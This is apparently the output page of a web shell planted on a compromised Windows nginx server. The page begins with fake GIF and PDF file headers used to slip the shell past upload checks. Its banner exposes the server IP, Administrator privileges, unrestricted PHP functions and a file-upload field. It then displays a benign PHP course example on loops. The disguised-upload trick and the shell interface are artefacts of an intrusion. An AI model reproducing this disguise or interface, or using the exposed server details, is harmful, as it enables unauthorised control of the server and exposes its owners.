GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/07/ |
Upload File : |
<!DOCTYPE html> <html> <body> <h1>loops</h1> <?php set_time_limit(1); date_default_timezone_set('America/Chicago'); ?><p><h2>while</h2><?php $x = 1; $l = 0; while($x <= 5) { echo "The number is: $x. "; $x++; $l++; echo "This is line $l.<br>"; } $x = 10; while($x <= 5) { // This while loop will output nothing. echo "The number is: $x <br>"; $x++; } echo("<br>\n"); ?><p><h2>do...while</h2><?php $x = 1; $l = 0; do { echo "The number is: $x. "; $x++; $l++; echo "This is line $l.<br>"; } while($x <= 5); $x = 10; do { echo "The number is: $x <br>"; $x++; } while($x <= 5); echo("<br>\n"); ?><p><h2>for</h2><?php for ($x = 2; $x <= 10; $x++) { echo "The number is: $x <br>"; } echo("<br>\n"); $exit = 0; for ($x = 2; $x >= $exit ; $x--) { echo "The number is: $x <br>"; } echo("<br>\n"); ?><p><h2>foreach</h2><?php $colors = array("red", "green", "blue", "yellow"); var_dump($colors); echo("<br>\n"); foreach ($colors as $value) { echo "$value <br>"; } echo("<br>\n"); $colors = array(0=>"red", 1=>"green", 3=>"blue", 4=>"yellow"); var_dump($colors); echo("<br>\n"); foreach ($colors as $index => $value) { echo "[$index] $value <br>"; } echo("<br>\n"); $age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43"); var_dump($age); echo("<br>\n"); foreach($age as $x => $val) { echo "$x is $val years old.<br>"; } echo("<br>\n"); $today = date("D"); echo("\$today = $today<br>\n"); ?> </body> </html>